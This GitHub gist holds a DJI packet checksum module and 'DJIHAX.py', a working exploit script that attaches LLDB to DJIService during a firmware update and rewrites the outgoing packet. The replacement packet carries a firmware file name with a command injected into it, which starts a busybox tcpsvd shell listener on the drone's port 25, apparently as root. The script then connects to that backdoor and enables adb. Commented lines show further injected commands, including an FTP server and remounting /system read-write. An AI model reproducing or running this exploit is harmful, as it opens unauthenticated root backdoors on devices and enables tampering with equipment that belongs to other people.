Last active
August 23, 2022 17:44
-
-
Save viktoredstrom/c4e9d900b9db0d2d23a1c4d873a1f4a1 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# https://github.com/mefistotelis/phantom-firmware-tools/issues/25 | |
# as shared by GlovePuppet | |
import struct | |
def calc_pkt55_hdr_checksum(seed, packet, plength): | |
arr_2A103 = [0x00,0x5E,0xBC,0xE2,0x61,0x3F,0xDD,0x83,0xC2,0x9C,0x7E,0x20,0xA3,0xFD,0x1F,0x41, | |
0x9D,0xC3,0x21,0x7F,0xFC,0xA2,0x40,0x1E,0x5F,0x01,0xE3,0xBD,0x3E,0x60,0x82,0xDC, | |
0x23,0x7D,0x9F,0xC1,0x42,0x1C,0xFE,0xA0,0xE1,0xBF,0x5D,0x03,0x80,0xDE,0x3C,0x62, | |
0xBE,0xE0,0x02,0x5C,0xDF,0x81,0x63,0x3D,0x7C,0x22,0xC0,0x9E,0x1D,0x43,0xA1,0xFF, | |
0x46,0x18,0xFA,0xA4,0x27,0x79,0x9B,0xC5,0x84,0xDA,0x38,0x66,0xE5,0xBB,0x59,0x07, | |
0xDB,0x85,0x67,0x39,0xBA,0xE4,0x06,0x58,0x19,0x47,0xA5,0xFB,0x78,0x26,0xC4,0x9A, | |
0x65,0x3B,0xD9,0x87,0x04,0x5A,0xB8,0xE6,0xA7,0xF9,0x1B,0x45,0xC6,0x98,0x7A,0x24, | |
0xF8,0xA6,0x44,0x1A,0x99,0xC7,0x25,0x7B,0x3A,0x64,0x86,0xD8,0x5B,0x05,0xE7,0xB9, | |
0x8C,0xD2,0x30,0x6E,0xED,0xB3,0x51,0x0F,0x4E,0x10,0xF2,0xAC,0x2F,0x71,0x93,0xCD, | |
0x11,0x4F,0xAD,0xF3,0x70,0x2E,0xCC,0x92,0xD3,0x8D,0x6F,0x31,0xB2,0xEC,0x0E,0x50, | |
0xAF,0xF1,0x13,0x4D,0xCE,0x90,0x72,0x2C,0x6D,0x33,0xD1,0x8F,0x0C,0x52,0xB0,0xEE, | |
0x32,0x6C,0x8E,0xD0,0x53,0x0D,0xEF,0xB1,0xF0,0xAE,0x4C,0x12,0x91,0xCF,0x2D,0x73, | |
0xCA,0x94,0x76,0x28,0xAB,0xF5,0x17,0x49,0x08,0x56,0xB4,0xEA,0x69,0x37,0xD5,0x8B, | |
0x57,0x09,0xEB,0xB5,0x36,0x68,0x8A,0xD4,0x95,0xCB,0x29,0x77,0xF4,0xAA,0x48,0x16, | |
0xE9,0xB7,0x55,0x0B,0x88,0xD6,0x34,0x6A,0x2B,0x75,0x97,0xC9,0x4A,0x14,0xF6,0xA8, | |
0x74,0x2A,0xC8,0x96,0x15,0x4B,0xA9,0xF7,0xB6,0xE8,0x0A,0x54,0xD7,0x89,0x6B,0x35] | |
chksum = seed | |
for i in range(0, plength): | |
chksum = arr_2A103[(((packet[i]) ^ chksum) & 0xFF)]; | |
return chksum | |
def calc_checksum(packet, plength): | |
crc = [0x0000, 0x1189, 0x2312, 0x329b, 0x4624, 0x57ad, 0x6536, 0x74bf, | |
0x8c48, 0x9dc1, 0xaf5a, 0xbed3, 0xca6c, 0xdbe5, 0xe97e, 0xf8f7, | |
0x1081, 0x0108, 0x3393, 0x221a, 0x56a5, 0x472c, 0x75b7, 0x643e, | |
0x9cc9, 0x8d40, 0xbfdb, 0xae52, 0xdaed, 0xcb64, 0xf9ff, 0xe876, | |
0x2102, 0x308b, 0x0210, 0x1399, 0x6726, 0x76af, 0x4434, 0x55bd, | |
0xad4a, 0xbcc3, 0x8e58, 0x9fd1, 0xeb6e, 0xfae7, 0xc87c, 0xd9f5, | |
0x3183, 0x200a, 0x1291, 0x0318, 0x77a7, 0x662e, 0x54b5, 0x453c, | |
0xbdcb, 0xac42, 0x9ed9, 0x8f50, 0xfbef, 0xea66, 0xd8fd, 0xc974, | |
0x4204, 0x538d, 0x6116, 0x709f, 0x0420, 0x15a9, 0x2732, 0x36bb, | |
0xce4c, 0xdfc5, 0xed5e, 0xfcd7, 0x8868, 0x99e1, 0xab7a, 0xbaf3, | |
0x5285, 0x430c, 0x7197, 0x601e, 0x14a1, 0x0528, 0x37b3, 0x263a, | |
0xdecd, 0xcf44, 0xfddf, 0xec56, 0x98e9, 0x8960, 0xbbfb, 0xaa72, | |
0x6306, 0x728f, 0x4014, 0x519d, 0x2522, 0x34ab, 0x0630, 0x17b9, | |
0xef4e, 0xfec7, 0xcc5c, 0xddd5, 0xa96a, 0xb8e3, 0x8a78, 0x9bf1, | |
0x7387, 0x620e, 0x5095, 0x411c, 0x35a3, 0x242a, 0x16b1, 0x0738, | |
0xffcf, 0xee46, 0xdcdd, 0xcd54, 0xb9eb, 0xa862, 0x9af9, 0x8b70, | |
0x8408, 0x9581, 0xa71a, 0xb693, 0xc22c, 0xd3a5, 0xe13e, 0xf0b7, | |
0x0840, 0x19c9, 0x2b52, 0x3adb, 0x4e64, 0x5fed, 0x6d76, 0x7cff, | |
0x9489, 0x8500, 0xb79b, 0xa612, 0xd2ad, 0xc324, 0xf1bf, 0xe036, | |
0x18c1, 0x0948, 0x3bd3, 0x2a5a, 0x5ee5, 0x4f6c, 0x7df7, 0x6c7e, | |
0xa50a, 0xb483, 0x8618, 0x9791, 0xe32e, 0xf2a7, 0xc03c, 0xd1b5, | |
0x2942, 0x38cb, 0x0a50, 0x1bd9, 0x6f66, 0x7eef, 0x4c74, 0x5dfd, | |
0xb58b, 0xa402, 0x9699, 0x8710, 0xf3af, 0xe226, 0xd0bd, 0xc134, | |
0x39c3, 0x284a, 0x1ad1, 0x0b58, 0x7fe7, 0x6e6e, 0x5cf5, 0x4d7c, | |
0xc60c, 0xd785, 0xe51e, 0xf497, 0x8028, 0x91a1, 0xa33a, 0xb2b3, | |
0x4a44, 0x5bcd, 0x6956, 0x78df, 0x0c60, 0x1de9, 0x2f72, 0x3efb, | |
0xd68d, 0xc704, 0xf59f, 0xe416, 0x90a9, 0x8120, 0xb3bb, 0xa232, | |
0x5ac5, 0x4b4c, 0x79d7, 0x685e, 0x1ce1, 0x0d68, 0x3ff3, 0x2e7a, | |
0xe70e, 0xf687, 0xc41c, 0xd595, 0xa12a, 0xb0a3, 0x8238, 0x93b1, | |
0x6b46, 0x7acf, 0x4854, 0x59dd, 0x2d62, 0x3ceb, 0x0e70, 0x1ff9, | |
0xf78f, 0xe606, 0xd49d, 0xc514, 0xb1ab, 0xa022, 0x92b9, 0x8330, | |
0x7bc7, 0x6a4e, 0x58d5, 0x495c, 0x3de3, 0x2c6a, 0x1ef1, 0x0f78] | |
# Seeds | |
# v = 0x1012 #Naza M | |
# v = 0x1013 #Phantom 2 | |
# v = 0x7000 #Naza M V2 | |
v = 0x3692 #P3/P4/Mavic | |
for i in range(0, plength): | |
vv = v >> 8 | |
v = vv ^ crc[(((packet[i]) ^ v) & 0xFF)] | |
return v |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import sys | |
lldb_path = "/Library/Developer/CommandLineTools/Library/PrivateFrameworks/LLDB.framework/Resources/Python3" | |
sys.path.insert(0, lldb_path) | |
from pwn import * # yes im serious | |
import lldb | |
import djicrc | |
import time | |
import _thread | |
target = None | |
proc = None | |
debug = True | |
def banner(): | |
s = """ | |
=========================== | |
| MSABGANG | | |
| AND | | |
| THE DRONE BOIS | | |
| PRESENTS DJIHAX.py | | |
===========================""" | |
print(s) | |
def meme_encode(s): | |
r = "" | |
for i in s: | |
r += "\\x" + hex((ord(i)))[2:] | |
return r | |
def create_target(): | |
lldb.debugger = lldb.SBDebugger.Create() | |
log.info("Attaching to DJIService") | |
target = lldb.debugger.CreateTarget("") | |
lldb.debugger.SetAsync(False) | |
listener = lldb.SBListener("process_event_listener") | |
error = lldb.SBError() | |
lldb.process = target.AttachToProcessWithName(listener, "DJIService", False, error) | |
if not error.Success(): | |
log.error("Failed attaching to DJIService") | |
log.info("Attached to DJIService!") | |
#log.info("{0} images".format(target.GetNumModules())) | |
t = lldb.process.GetSelectedThread() | |
return (t, target) | |
def upload_packet(data, src, target, seq_num): | |
length = 13 + len(data) | |
packet = b"" | |
packet += p8(0x55) | |
packet += p8(length & 0xff) | |
packet += p8(length >> 8 | 0x4) # MSB of len + version | |
hdr_crc = djicrc.calc_pkt55_hdr_checksum(0x77, packet, len(packet)) # crc8 sux | |
packet += p8(hdr_crc) | |
packet += p8(src) # 2A/2D? | |
packet += p8(target) | |
packet += p16(seq_num, endian='little') | |
packet += p8(0x40) # cmd type | |
packet += p8(0x0) # cmd set | |
packet += p8(0x2a) # cmd id | |
packet += data | |
packet += p16(djicrc.calc_checksum(packet, len(packet))) | |
return packet | |
# might be worth getting src, target as well | |
def extract_packet_data(data): | |
seq_nr = u16(data[6:6+2], endian='little') | |
return seq_nr | |
def generate_evil_packet(d): | |
global debug | |
# "\x01" + some file length? | |
magic = b"\x01\x80\x05\x00\x00" | |
seq_nr = extract_packet_data(d) | |
if debug: | |
log.info("sequence nr '{0}'".format(hex(seq_nr))) | |
#adb = "setup_usb_serial.sh & && sleep 120" | |
#adb = "/system/xbin/busybox touch /data/dji/log/winwin " | |
adb = "busybox tcpsvd -vE 0.0.0.0 25 ftpd /" | |
#/system/bin/adb_en.sh NonSecurePrivilege ; adb start-server | |
# mount -o remount,rw /system | |
cmd = adb #"sleep 120" | |
log.info("Doing cmd '{0}'".format(cmd)) | |
cmd = "$(echo -e \"{0}\")".format(meme_encode(cmd)) | |
cmd = "busybox tcpsvd -vE 0.0.0.0 25 sh" | |
#evil_name = b"wm240_rcAA'`$(echo -e \"" | |
#evil_name += meme_encode(cmd) | |
#evil_name += b"\")`'.cfg.sig" | |
evil_name = b"wm240_rcAA'`" | |
evil_name += cmd.encode() | |
evil_name += b"`'.cfg.sig" | |
if debug: | |
log.info("name '{0}'".format(str(evil_name))) | |
evil_name = p8((len(evil_name) + 1) & 0xff) + evil_name | |
packet = upload_packet(magic + evil_name + b"\x00" * 4, 0x2a, 0x2d, seq_nr) | |
return packet, len(packet) | |
def dbg(): | |
global debug | |
if not debug: | |
return | |
frame = lldb.process.threads[0].GetFrameAtIndex(0) | |
stream = lldb.SBStream() | |
lldb.process.threads[0].GetStatus(stream) | |
log.info("we are at @ {}".format(frame.addr)) | |
print (stream.GetData()) | |
def enable_adb(): | |
#log.info("Waiting for service to come online...") | |
r = remote("192.168.42.2", 25) | |
r.sendline("cd /system/bin; ./adb_en.sh") | |
time.sleep(2) | |
log.info("adb enabled!") | |
r.close() | |
def adb_shell(arg): | |
pause() | |
enable_adb() | |
#log.info("Hack the planet!") | |
#p = process("adb devices; adb shell", shell=True) | |
#p.interactive() | |
def main(): | |
banner() | |
global target | |
global debug | |
thread, target = create_target() | |
error = lldb.SBError() | |
""" | |
break on "onAck", AKA the first packet during upgrade. | |
traverse from there to modify packet sent. | |
""" | |
def brk(func_name): | |
brk = target.BreakpointCreateByName(func_name) | |
if brk.GetNumLocations() <= 0: | |
log.error("Invalid breakpoint {0}".format(func_name[0:5])) | |
brk.SetEnabled(True) | |
return brk | |
dbg() | |
# bananer osv | |
b1 = brk("OnAck(DJICommand const&, unsigned long, std::__1::function<void (std::__1::vector<char, std::__1::allocator<char> > const&)>, std::__1::function<void (int, std::__1::vector<char, std::__1::allocator<char> > const*)>)") | |
lldb.process.Continue() | |
log.info("OnAck hit!") | |
dbg() | |
b2 = brk("DJICmdIo::WriteData(QByteArray const&)") | |
lldb.process.Continue() | |
log.info("WriteData hit!") | |
dbg() | |
options = lldb.SBExpressionOptions() | |
frame = lldb.process.threads[0].GetFrameAtIndex(0) | |
def run_expr(expr,frame): | |
return frame.EvaluateExpression(expr).GetValue() | |
# hardcoded, sue me | |
iodev_write_addr = int(run_expr("(void *)$rip", frame), 16) + 0x4d | |
brk_addr = target.BreakpointCreateByAddress(iodev_write_addr) | |
brk_addr.SetEnabled(True) | |
lldb.process.Continue() | |
dbg() | |
# rsi - buf, rdx - size | |
frame = lldb.process.threads[0].GetFrameAtIndex(0) | |
def dump_packet(): | |
rsi = int(run_expr("(void *)$rsi", frame), 16) | |
return lldb.process.ReadMemory(rsi, 39, error) | |
dp = dump_packet() | |
if debug: | |
print("Original:\n", hexdump(dp)) | |
evil_data, sz = generate_evil_packet(dp) | |
if debug: | |
print("Evil:\n", hexdump(evil_data)) | |
buffer_addr = int(run_expr("(void *)malloc(0x1000)", frame),16) | |
log.info("malloc addr: {0}".format(hex(buffer_addr))) | |
lldb.process.WriteMemory(buffer_addr, evil_data, error) | |
if debug: | |
print("before", frame.registers[0]) | |
frame.registers[0].GetChildMemberWithName("rsi").SetValueFromCString("{0}".format(buffer_addr), error) | |
frame.registers[0].GetChildMemberWithName("rdx").SetValueFromCString("{0}".format(sz), error) | |
print("after", frame.registers[0]) | |
rsi = int(run_expr("(void *)$rsi", frame), 16) | |
dp = lldb.process.ReadMemory(rsi, sz, error) | |
print(hexdump(dp)) | |
#lldb.process.threads[0].StepOut() | |
b1.SetEnabled(False) | |
b2.SetEnabled(False) | |
brk_addr.SetEnabled(False) | |
log.info("hax done! wait til update...") | |
log.info("backdoor at 192.168.42.2:25") | |
_thread.start_new_thread(adb_shell, ("",)) | |
lldb.process.Continue() | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment